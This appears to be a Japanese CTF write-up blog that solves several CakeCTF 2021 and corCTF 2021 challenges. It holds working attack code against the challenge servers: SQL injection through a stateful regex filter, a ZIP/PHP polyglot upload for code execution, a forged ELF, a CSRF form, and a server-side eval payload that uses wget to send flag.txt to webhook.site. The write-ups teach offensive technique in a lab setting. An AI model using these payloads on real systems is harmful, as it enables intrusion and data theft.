  def _validate_chunk(self):
    legit_hash = u32(self._fp_aldrya.read(4))
    calced_hash = calc_hash(self._fp_elf.read(0x100))
    if legit_hash != calced_hash:
      return False

    return True

  def _validate_size(self):
    self._chunk_num = u32(self._fp_aldrya.read(4))
    # implement medoi
    self._fp_elf.seek(0)
    return True

  def validate(self):
    if self._fp_elf.read(4) != b'\x7fELF':
      return False

    if not self._validate_size():
      return False

    for _ in range(self._chunk_num):
      if not self._validate_chunk():
        return False

    return True

aldrya = Aldrya('sample.elf', 'sample.aldrya')
print(aldrya.validate())

0x100バイトのチャンクが32ビットに変換される calc_hash の処理を見てみると、1バイトを読み込んでXORし、1ビットだけ右ローテートすることを繰り返していることがわかる。

XORと1ビットずつの右ローテートによって計算されていることを考えると、各チャンクにつき32バイトの 01 からなる好きなバイト列を書き込めれば、ハッシュ値を任意の値に操作することができそうだ。

ということで、sample.aldrya にマッチするような細工されたELFを作っていく。まず加工がしやすいなるべく小さなELFを用意する。以前Plaid CTF 2020のgolf.soのwriteupを参考にDiceCTF 2021のTI-1337 Plus CEで作ったELFをベースに、cat /f* を実行する512バイトのELFが出来上がった。各チャンクの最後の32バイトは A で埋められており、自由に書き換えられるようになっている。

BITS 64

; ref: https://starfleetcadet75.github.io/posts/plaid-2020-golf-so/

ehdr:                               ; Elf64_Ehdr
        db  0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db  0
        dw  3                       ; e_type
        dw  0x3e                    ; e_machine
        dd  0x41424344                       ; e_version
        dq  shell                   ; e_entry
        dq  phdr - $$               ; e_phoff
        dq  0                       ; e_shoff
        dd  0                       ; e_flags
        dw  ehdrsize                ; e_ehsize
        dw  phdrsize                ; e_phentsize
        dw  2                       ; e_phnum
        dw  0                       ; e_shentsize
        dw  0                       ; e_shnum
        dw  0                       ; e_shstrndx
ehdrsize  equ  $ - ehdr

phdr:                               ; Elf64_Phdr
        dd  1                       ; p_type
        dd  7                       ; p_flags
        dq  0                       ; p_offset
        dq  $$                      ; p_vaddr
        dq  $$                      ; p_paddr
        dq  progsize                ; p_filesz
        dq  progsize                ; p_memsz
        dq  0x1000                  ; p_align
phdrsize  equ  $ - phdr
        ; PT_DYNAMIC segment
        dd  2                       ; p_type
        dd  7                       ; p_flags
        dq  dynamic                 ; p_offset
        dq  dynamic                 ; p_vaddr
        dq  dynamic                 ; p_paddr
        dq  dynsize                 ; p_filesz
        dq  dynsize                 ; p_memsz
        dq  0x1000                  ; p_align

times 80 - 32 db 0x0
times 32 db 0x41

shell:
        push rsp
        pop rdi

        ; /bin/sh
        push 0
        push rsp
        pop rdi
        push 0x6e69622f
        pop rax
        xor dword [rdi], eax
        push 0x68732f
        pop rax
        xor dword [rdi+4], eax

        ; -c
        push 0
        push rsp
        pop rcx
        push 0x632d
        pop rax
        xor dword [rcx+0], eax

        ; cat /f*
        push 0
        push rsp
        pop rdx
        push 0x20746163
        pop rax
        xor dword [rdx], eax
        push 0x2a662f
        pop rax
        xor dword [rdx+4], eax

        push 0
        push rdx
        push rcx
        push rdi
        push rsp
        pop rsi
        push 0
        pop rdx

        ; execve("/bin/sh", {"/bin/sh", "-c", "cat /f*"}, NULL)
        push 59
        pop rax
        syscall

        ; exit(0)
        push 0
        pop rdi
        push 60
        pop rax
        syscall

dynamic:
  dt_init:
        dq  0xc, shell
  dt_strtab:
        dq  0x5, shell
  dt_symtab:
        dq  0x6, shell

times (512 - 32 - ($ - $$)) db 0
times 32 db 0x41

dynsize  equ  $ - dynamic
progsize  equ  $ - $$

続いて、sample.aldryaシグネチャにマッチするようにこのELFの各チャンクの最後32バイトを変更するPythonスクリプトを書く。

import struct
from aldrya import Aldrya, calc_hash

def u32(x):
  return struct.unpack('<I', x)[0]

def p32(x):
  return struct.pack('<I', x)

with open('malelf', 'rb') as f:
  s = f.read().ljust(0x200, b'\x00')
with open('sample.elf', 'rb') as f:
  f.seek(len(s))
  s += f.read()

with open('sample.aldrya', 'rb') as f:
  num = u32(f.read(4))
  hashes = []
  for _ in range(num):
    hashes.append(u32(f.read(4)))

target = calc_hash(s[:0x100], size=0x100-0x20) ^ hashes[0]
buf = list(s[:0x100])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = bytes(buf) + s[0x100:]

target = calc_hash(s[0x100:0x200], size=0x100-0x20) ^ hashes[1]
buf = list(s[0x100:0x200])
buf[-32:] = [1 if p32(target)[i // 8] & (1 << (i % 8)) else 0 for i in range(32)]
s = s[:0x100] + bytes(buf) + s[0x200:]

with open('result.elf', 'wb') as f:
  f.write(s)

a = Aldrya('sample.elf', 'sample.aldrya')
print(a.validate())
b = Aldrya('result.elf', 'sample.aldrya')
print(b.validate())

完成した result.elf をアップロードするとフラグが得られる。

CakeCTF{jUst_cH3ck_SHA256sum_4nd_7h47's_f1n3}

[Rev 204] rflag (20 solves)

与えられた実行ファイルを実行してみると、毎回ランダムに生成される32バイトのhex stringを当てろと言われる。ヒントとして、文字列を入力するとhex stringの何文字目でそれがマッチしているか4回まで確認できる。

^.+$[0-9] などを入力するとちゃんとマッチすることから、正規表現が使われていることがわかる。ある箇所の文字がある正規表現にマッチしているかしていないかを4回確認できるということは、最終的に4ビットの情報が得られるということを意味する。

[13579bdf][2367abef][4567cdef][89abcdef] の4つの正規表現を使うとhex stringの全体が特定できる。ソルバーを書こう。

from pwn import *

def q(s):
  p.recvuntil(': ')
  p.sendline(s)
  p.recvuntil('Response: ')
  return eval(p.recvline())

rs = ['[13579bdf]', '[2367abef]', '[4567cdef]', '[89abcdef]']

p = remote('misc.cakectf.com', 10023)

a = [q(r) for r in rs]
res = [0 for _ in range(32)]
for i, x in enumerate(a):
  for j in x:
    res[j] |= 1 << i
res = ''.join(hex(x)[2:] for x in res)

p.sendline(res)
p.interactive()

これを実行するとフラグが得られる。

$ python3 solve.py 
[+] Opening connection to misc.cakectf.com on port 10023: Done
[*] Switching to interactive mode
Okay, what's the answer?
Correct!
FLAG: CakeCTF{n0b0dy_w4nt5_2_r3v3r53_RUST_pr0gr4m}

x0r19x91さんがRustコードにデコンパイルしていてすごいなあという気持ちになった。

[Web 247] My Nyamber (13 solves)

猫に割り振られたマイニャンバーなる番号、または猫の名前から個ニャン情報を引き出せるWebアプリケーションらしい。

コードは以下のように大変シンプルな作りになっている。マイニャンバーで検索をかける場合には parseInt で数値化を、猫の名前で検索をかける場合には '\、空白文字が名前に含まれていないかの確認を施した上でSQLに展開しクエリを実行している。猫の名前で検索する場合には、配列を使うことで複数の個ニャン情報を引き出せるようだ。

const express = require("express");
const sqlite3 = require("sqlite3");
const path = require('path');

const app = express();
const db = new sqlite3.Database('database.db');
app.disable('etag');

/**
 * Run SQL statement
 */
function querySqlStatement(stmt) {
    return new Promise((resolve, reject) => {
        db.get(stmt, (err, row) => {
            if (err) reject(err);
            if (row === undefined)
                reject("Not found");
            else
                resolve(row);
        });
    });
}

/**
 * Find neko by name
 */
async function queryNekoByName(neko_name, callback) {
    let filter = /(\'|\\|\s)/g;
    let result = [];
    if (typeof neko_name === 'string') {
        /* Process single query */
        if (filter.exec(neko_name) === null) {
            try {
                let row = await querySqlStatement(
                    `SELECT * FROM neko WHERE name='${neko_name}'`
                );
                if (row) result.push(row);
            } catch { }
        }
    } else {
        /* Process multiple queries */
        for (let name of neko_name) {
            if (filter.exec(name.toString()) === null) {
                try {
                    let row = await querySqlStatement(
                        `SELECT * FROM neko WHERE name='${name}'`
                    );
                    if (row) result.push(row);
                } catch { }
            }
        }
    }
    callback(result);
}

/**
 * Find neko by My Nyamber
 */
async function queryNekoById(neko_id, callback) {
    let nid = parseInt(neko_id);
    if (!isNaN(nid)) {
        try {
            let row = await querySqlStatement(
                `SELECT * FROM neko WHERE nid=${nid}`
            );
            if (row) {
                callback([row]);
                return;
            }
        } catch { }
    }

    /* Invalid ID or result not found */
    callback([]);
}

app.use(express.static(path.join(__dirname, 'public')))

app.get("/api/neko", function(req, res, next) {
    if (req.query.id == null && req.query.name == null) {
        /* Missing required parameters */
        res.status(400);
        res.json({reason: 'My Nyamber is not set'});
    } else {
        try {
            if (req.query.id) {
                /* Find by My Nyamber */
                queryNekoById(req.query.id,
                              result => { res.json({result}); });
            } else {
                /* Find by name */
                queryNekoByName(req.query.name,
                                result => { res.json({result}); });
            }
        } catch (e) {
            res.status(500);
            res.json({reason: 'SQL query failed :cry:'});
        }
    }
});

app.listen(8080);

一見脆弱性はないように思えるが、猫の名前の検索時に実行されるフィルターの挙動を検証していた際に不思議なことに気づいた。以下のように複数回 filter.exec を実行すると、どういうわけかその結果が毎回変わってしまう。

let filter = /(\'|\\|\s)/g;
const p = "'";
for (let i = 0; i < 10; i++) {
  console.log(filter.exec(p));
}
$ node test.js
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null
[ "'", "'", index: 0, input: "'", groups: undefined ]
null

MDNを見てみると「JavaScriptRegExp オブジェクトは、global または sticky フラグが設定されている場合 (例えば /foo/g/foo/y) はステートフルになります」という記述があった。確かに filter には g フラグが設定されている。これを使えばフィルターをバイパスしてSQLインジェクションに持ち込めそうだ。

以下のようなスクリプトを書いて実行するとフラグが得られた。

import requests
payload = "' union select flag,2,3,4 from flag;"
r = requests.get('http://web.cakectf.com:8002/api/neko', params={
  f'name[{i}]': payload for i in range(10)
})
print(r.text)
$ python solve.py
{"result":[{"nid":"CakeCTF{BUG-REPORT-ACCEPTED:Reward=222-Matatabi-Sticks}","species":2,"name":3,"age":4}]}

[Web 266] ziperatops (11 solves)

1個以上のZIPをアップロードすると、ZIPに含まれるファイルの名前を列挙してくれるWebアプリケーションらしい。

これもまたコードはシンプル。index.php は以下のような内容になっている。setup という utils.php で定義されている関数によって、アップロードされたZIPファイルを一時ディレクトリに移動させている。エラーが発生するか、ZIPに格納されているファイル名の列挙が終われば cleanup によって一時ディレクトリを削除している。

<?php
require_once 'utils.php';

function ziperatops() {
    /* Upload files */
    list($dname, $err) = setup('zipfile');
    if ($err) {
        cleanup($dname);
        return array(null, $err);
    }

    /* List files in the zip archives */
    $results = array();
    foreach (glob("temp/$dname/*") as $path) {
        $zip = new ZipArchive;
        $zip->open($path);
        for ($i = 0; $i < $zip->count(); $i++) {
            array_push($results, $zip->getNameIndex($i));
        }
    }

    /* Cleanup */
    cleanup($dname);
    return array($results, null);
}

list($results, $err) = ziperatops();
?>

setupcleanup の実装を確認する。utils.php は以下のような内容になっている。setup では、まず一時ディレクトリのディレクトリ名を sha1(uniqid()) で生成している。uniqid に第二引数が渡されていないのでかなり頑張れば予測できそうではあるが、リモートでは難しいだろう。

アップロードされた各ZIPファイルについて、ZIPファイル自身のファイル名をチェックしている。もしチェックに引っかかればその場で処理が中断され、先ほど確認したように一時ディレクトリが削除される。

cleanup では、glob で一時ディレクトリに存在するZIPファイルを削除した後にディレクトリを削除している。

<?php
/**
 * Upload files
 */
function setup($name) {
    /* Create a working directory */
    $dname = sha1(uniqid());
    @mkdir("temp/$dname");

    /* Check if files are uploaded */
    if (empty($_FILES[$name]) || !is_array($_FILES[$name]['name']))
        return array($dname, null);

    /* Validation */
    for ($i = 0; $i < count($_FILES[$name]['name']); $i++) {
        $tmpfile = $_FILES[$name]['tmp_name'][$i];
        $filename = $_FILES[$name]['name'][$i];
        if (!is_uploaded_file($tmpfile))
            continue;

        /* Check the uploaded zip file */
        $zip = new ZipArchive;
        if ($zip->open($tmpfile) !== TRUE)
            return array($dname, "Invalid file format");

        /* Check filename */
        if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
            return array($dname, "Invalid file name: $filename");

        /* Detect hacking attempt (This is not necessary but just in case) */
        if (strstr($filename, "..") !== FALSE)
            return array($dname, "Do not include '..' in file name");

        /* Check extension */
        if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
            return array($dname, "Invalid extension (Only .zip is allowed)");

        /* Move the files */
        if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
            return array($dname, "Failed to upload the file: $dname/$filename");
    }

    return array($dname, null);
}

/**
 * Remove a directory and its contents
 */
function cleanup($dname) {
    foreach (glob("temp/$dname/*") as $file) {
        @unlink($file);
    }
    @rmdir("temp/$dname");
}
?>

さて、ここまで実装を確認してきたが、よく見るとところどころで怪しげな点がある。列挙していくと、

  • 一時ディレクトリが作成される temp/ ディレクトリはドキュメントルート下にあり、アクセスできる
  • ZIPのファイル名のチェックに使われる正規表現/^.+\.zip/$ が使われていない
    • このため、a.zip.php のように実際には拡張子が .zip でなくても通ってしまう
  • cleanup でのファイルの列挙に glob が使われている
    • glob("temp/$dname/*") はドットから始まるファイルを列挙しない。したがって、.a.zip のようなファイルをアップロードするとそのファイルは削除されない。また、ディレクトリにファイルが残っているため rmdir も失敗する
  • move_uploaded_file が失敗すると一時ディレクトリの名前がエラーメッセージとして表示される

という感じ。まとめると、.a.zip.php という名前でZIPとPHPのpolyglotのファイルをアップロードし、一時ディレクトリ下に移動した .a.zip.php にアクセスするとPHPコードが実行されるということになる。一時ディレクトリの名前については、a.zip.(aが300文字続く) のような長い名前のファイルをアップロードすればエラーメッセージから得られる。

この処理を行うスクリプトを書いて実行するとフラグが得られる。

import requests
import re
with open('a.zip', 'rb') as f:
  s = f.read()

BASE_URL = 'http://web.cakectf.com:8004/'
files = {}
files['zipfile[0]'] = ('.a.zip.php', s + b'<?php passthru("cat /f*"); ?>')
files['zipfile[1]'] = ('.a.zip.' + 'a' * 300, s)
r = requests.post(BASE_URL, files=files)
d = re.findall(r'([0-9a-f]+)/', r.text)[0]

r = requests.get(BASE_URL + 'temp/' + d + '/.a.zip.php')
print(r.text)
CakeCTF{uNd3r5t4nd1Ng_4Nd_3xpl01t1Ng_f1l35y5t3m_cf1944}

[Cheat 289] Yoshi-Shogi (9 solves)

Rust製のLinuxで動くGUIの将棋ゲーが与えられる。次の画像のようなハンデのもとで勝てばフラグが得られるらしい。鬼か?

f:id:st98:20210829120815p:plain

これではとても勝てないので、yoshikingさんにもっと手加減してもらえるようチートを試みる。逆アセンブルして関数名を眺めていると、_ZN11yoshi_shogi10init_board17h76976c8c94fadf3fE (デマングルすると yoshi_shogi::init_board::h76976c8c94fadf3f) という気になる関数が見つかった。駒の配置の初期化をしているのだろうか。

雑に movBYTE PTRgrepしてみると確かにそうっぽいなあという気がしてくる。試しに0を代入してみるといくつかyoshikingさん側の駒が消えた。素晴らしい。

…
   ae45a:       c6 40 08 15             mov    BYTE PTR [rax+0x8],0x15
   ae47c:       c6 40 01 14             mov    BYTE PTR [rax+0x1],0x14
   ae49e:       c6 40 07 14             mov    BYTE PTR [rax+0x7],0x14
   ae4c0:       c6 40 02 13             mov    BYTE PTR [rax+0x2],0x13
   ae4e2:       c6 40 06 13             mov    BYTE PTR [rax+0x6],0x13
   ae504:       c6 40 03 12             mov    BYTE PTR [rax+0x3],0x12
   ae526:       c6 40 05 12             mov    BYTE PTR [rax+0x5],0x12
   ae548:       c6 40 04 0f             mov    BYTE PTR [rax+0x4],0xf
   ae56e:       c6 40 01 10             mov    BYTE PTR [rax+0x1],0x10
   ae594:       c6 40 07 11             mov    BYTE PTR [rax+0x7],0x11
…

yoshi_shogi::init_board::h76976c8c94fadf3f 中の処理を書き換えてyoshikingさん側の駒をできるだけ削除してみたものの、通常の盤面からハンデありの盤面に切り替えると、消滅したはずの歩兵たちがと金として墓から蘇ってきてしまった。これは困った。

yoshi_shogi::init_board::h76976c8c94fadf3f だけでなくバイナリの全体を movBYTE PTRgrepしてみると、以下のように yoshi_shogi::init_board::h76976c8c94fadf3f 外で駒を配置している処理が見つかった。これらも書き換える。

…
   a5cc3:       c6 00 1c                mov    BYTE PTR [rax],0x1c
   a5cf0:       c6 40 01 1c             mov    BYTE PTR [rax+0x1],0x1c
   a5d1e:       c6 40 02 1c             mov    BYTE PTR [rax+0x2],0x1c
   a5d4c:       c6 40 03 1c             mov    BYTE PTR [rax+0x3],0x1c
   a5d7a:       c6 40 04 1c             mov    BYTE PTR [rax+0x4],0x1c
   a5da8:       c6 40 05 1c             mov    BYTE PTR [rax+0x5],0x1c
   a5dd6:       c6 40 06 1c             mov    BYTE PTR [rax+0x6],0x1c
   a5e04:       c6 40 07 1c             mov    BYTE PTR [rax+0x7],0x1c
   a5e32:       c6 40 08 1c             mov    BYTE PTR [rax+0x8],0x1c
…

実行するといい感じにyoshikingさんに手加減をしてもらえるようになった。

f:id:st98:20210829120548p:plain

ポチポチ駒を動かしているとフラグが得られた。

f:id:st98:20210829121853p:plain

CakeCTF{https://www.nicovideo.jp/watch/sm19221643}

corCTF 2021 writeup

8/21 - 8/23という日程で開催された。zer0ptsで参加して12位。激ムズだけど面白い問題ばかりだった。

[Web 323] devme (264 solves)

メールの入力ができるフォームがある。適当なメールアドレスを入力して送信してみると {"query":"mutation createUser($email: String!) {\n\tcreateUser(email: $email) {\n\t\tusername\n\t}\n}\n","variables":{"email":"test@example.com"}} というJSON/graphql というAPIに送られた。GraphQLを使っているらしい。

prisma-labs/get-graphql-schemaでGraphQLスキーマを取得できる。

"""Exposes a URL that specifies the behaviour of this scalar."""
directive @specifiedBy(
  """The URL that specifies the behaviour of this scalar."""
  url: String!
) on SCALAR

type Mutation {
  createUser(email: String!): User
}

type Query {
  users: [User]!
  flag(token: String!): String!
}

type User {
  token: String!
  username: String!
}

以下のようなクエリを送ると、登録されているすべてのユーザのトークンが取得できた。adminトークンは 3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b らしい。

query {
  users {
    token
    username
  }
}

以下のようなクエリを送るとフラグが得られた。

query {
  flag(token: "3cd3a50e63b3cb0a69cfb7d9d4f0ebc1dc1b94143475535930fa3db6e687280b")
}
corctf{ex_g00g13_3x_fac3b00k_t3ch_l3ad_as_a_s3rvice}

[Web 441] buyme (110 solves)

旗の購入ができるサイトが与えられた。アメリカやイギリスなどの100ドルの旗に加えて corCTF という名前の旗もあるが、その価格は1e+300ドルと高すぎる。ユーザ登録して得られるのは100ドルのみであり、譲渡も旗の売却もできないのでこのままではお金を増やす方法はない。

ユーザの情報は以下のように user (ユーザ名)、flags (所持している旗の一覧)、money (所持金)、pass (ハッシュ化されたパスワード)からなる。

    db.users.set(user, {
        user,
        flags: [],
        money: 100,
        pass: await bcrypt.hash(pass, 12)
    });

旗の購入時には以下のように /api/buy というAPIが叩かれる。よく見ると db.buyFlag に対して引数として渡されるオブジェクトは ...req.body とスプレッド構文を使って作られている。このオブジェクトの user プロパティに格納される req.user 自体は改変できないが、req.body はいくらでも改変できるから、user というパラメータをPOSTするデータに仕込んでやれば user プロパティを置き換えることができる。

router.post("/buy", requiresLogin, async (req, res) => {
    if(!req.body.flag) {
        return res.redirect("/flags?error=" + encodeURIComponent("Missing flag to buy"));
    }

    try {
        db.buyFlag({ user: req.user, ...req.body });
    }
    catch(err) {
        return res.redirect("/flags?error=" + encodeURIComponent(err.message));
    }

    res.redirect("/?message=" + encodeURIComponent("Flag bought successfully"));
});

db.buyFlag は以下のような処理をしている。user プロパティとして渡すオブジェクトには userpriceflag というプロパティを持たせればよさそう。

const buyFlag = ({ flag, user }) => {
    if(!flags.has(flag)) {
        throw new Error("Unknown flag");
    }
    if(user.money < flags.get(flag).price) {
        throw new Error("Not enough money");
    }

    user.money -= flags.get(flag).price;
    user.flags.push(flag);
    users.set(user.user, user);
};

以下のように登録から購入まで自動化するスクリプトを書いて実行するとフラグが得られた。

import requests
import uuid

s = requests.Session()
user = str(uuid.uuid4())
s.post('https://buyme.be.ax/api/register', json={
  'user': user,
  'pass': str(uuid.uuid4())
})
r = s.post('https://buyme.be.ax/api/buy', json={
  'flag': 'corCTF',
  'user': {
    'user': user,
    'money': 1e308,
    'flags': []
  }
})
print(r.text)
print(s.cookies)
$ python3 solve.py | grep cor
                        <img class="card-img-top flag" src="https://ctf.cor.team/assets/img/ctflogo.png" />
                        <h4 class="card-title">corCTF</h4>
                        <h5 class="card-title">corctf{h0w_did_u_steal_my_flags_you_flag_h0arder??!!}</h4>

[Web 469] phpme (64 solves)

与えられたURLにアクセスすると、以下のようなPHPコードが表示された。secret というCookieの値が secret.php から読み込まれたであろう $secret と一致しており、かつPOSTで与えられたJSONyep というプロパティの値が yep yep yep という文字列であれば、フラグをJSONで指定したURLに送信してくれるJavaScriptコードを出力するらしい。

<?php
    include "secret.php";

    // https://stackoverflow.com/a/6041773
    function isJSON($string) {
        json_decode($string);
        return json_last_error() === JSON_ERROR_NONE;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }
    else {
        show_source(__FILE__);
    }
?>

この問題ではURLを指定するとクロールしてくれるbotも提供されている。そのbotCookieのチェックはなんとかしてくれるから、JSONのチェックは自分でなんとかしろということだろう。

JSONのチェックでは Content-Type ヘッダは確認されない。ということでまず form 要素でキーに {"hoge":"fuga、その値に "} というような文字列を設定して、最終的に {"hoge":"fuga="} のようにJSONとしても解釈できるバイト列が送信されるようにすることを考えた。が、よく考えるとそのまま(application/x-www-form-urlencoded)では {" がパーセントエンコードされてしまう。

実は form 要素の enctype 属性では text/plain も利用できる。これなら {" はパーセントエンコードされないはず。

以下のようなフォームを用意してbotにアクセスさせると、JSONurl プロパティで指定したURLにフラグが飛んできた。

<form action="https://phpme.be.ax/" method="POST" enctype="text/plain" id="form">
  <input id="i">
  <input type="submit">
</form>
<script>
const input = document.getElementById('i');
i.name = '{"yep":"yep yep yep","url":"https://webhook.site/…","hoge":"';
i.value = '"}';
const form = document.getElementById('form');
form.submit();
</script>
corctf{ok_h0pe_y0u_enj0yed_the_1_php_ch4ll_1n_th1s_CTF!!!}

[Web 478] readme (46 solves)

URLを与えてやると、@mozilla/readabilityによってリーダービューで表示してくれるというWebアプリケーションが与えられる。@mozilla/readability によるコンテンツの抽出はサーバサイドで行われている。

ソースコードを読んでいると、以下のようなページ関連の処理に怪しい部分を見つけた。これはjsdomを使って next という文字列をクラス名やテキストに含む a 要素か button 要素について、そのリンク先を取得した、ボタンをクリックしたりして次のページを表示させようとする処理だ。

button 要素の場合は onclick 属性を eval している。やりたいことはわかるが、なぜわざわざサーバサイドで eval しているのだろう。

const loadNextPage = async (dom, socket) => {
    let targets = [
        ...Array.from(dom.window.document.querySelectorAll("a")), 
        ...Array.from(dom.window.document.querySelectorAll("button"))
    ];
    targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));

    if(targets.length == 0) return;
    let target = targets[targets.length - 1];
    
    if(target.tagName === "A") {
        let newDom = await refetch(socket, target.href);
        return newDom;
    }
    else if(target.tagName === "BUTTON") {
        dom.window.eval(target.getAttribute("onclick"));
        return dom;
    }

    return;
};

以下のようなHTMLを返すWebサイトを投げるとフラグが得られた。

<button class="next" onclick="process.mainModule.require('child_process').execSync('wget http://webhook.site/…/$(cat flag.txt)')">next</button>
corctf{but_wh3re_w1ll_i_r3ad_my_n0vels_now??????}